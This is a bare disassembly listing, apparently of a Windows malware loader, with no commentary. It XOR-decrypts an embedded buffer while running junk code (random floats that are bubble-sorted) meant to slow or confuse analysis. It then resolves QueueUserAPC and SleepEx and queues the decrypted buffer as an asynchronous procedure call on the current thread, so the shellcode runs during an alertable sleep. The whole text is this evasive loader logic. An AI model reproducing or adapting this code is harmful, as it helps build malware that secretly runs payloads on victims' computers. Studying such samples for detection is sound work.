mov rax, qword [rbp + 0x188]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x340]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x348]
movsxd rdx, eax
mov rax, qword [rbp + 0x188]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x348
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x160], rax
mov dword [rbp + 0x33c], 0
jmp 0x140002aa5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x33c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0xd1
jle 0x140002a1c
mov dword [rbp + 0x33c], 0
jmp 0x140002bd1
mov dword [rbp + 0x15c], 0
jmp 0x140002bb3
mov eax, dword [rbp + 0x33c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x15c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140002bac
mov eax, dword [rbp + 0x15c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x158], xmm0
mov eax, dword [rbp + 0x33c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rdx, rax
mov eax, dword [rbp + 0x15c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x15c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
movss xmm0, dword [rbp + 0x158]
movss dword [rax], xmm0
add dword [rbp + 0x33c], 1
mov eax, 0xd1
sub eax, dword [rbp + 0x33c]
cmp dword [rbp + 0x15c], eax
jl 0x140002ad3
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0xd1
jle 0x140002ac4
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x340], 0x79
jne 0x140002c05
mov dword [rbp + 0x340], 0
jmp 0x140002c0c
add dword [rbp + 0x340], 1
add dword [rbp + 0x348], 1
cmp dword [rbp + 0x348], 0x187f
jle 0x1400029be
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x328]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x328]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x178]
mov r9, qword [rbp + 0x170]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x168]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x390]
add rsp, 0x428
pop rbx
pop rbp
ret